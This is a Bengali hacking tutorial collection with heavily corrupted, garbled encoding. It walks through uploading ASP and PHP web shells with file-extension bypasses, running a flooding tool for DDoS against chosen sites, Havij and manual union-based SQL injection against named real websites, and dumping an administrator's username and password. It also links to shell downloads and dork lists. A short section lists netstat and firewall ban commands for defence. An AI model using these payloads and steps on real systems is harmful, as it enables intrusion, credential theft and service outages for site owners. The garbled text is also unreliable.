৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

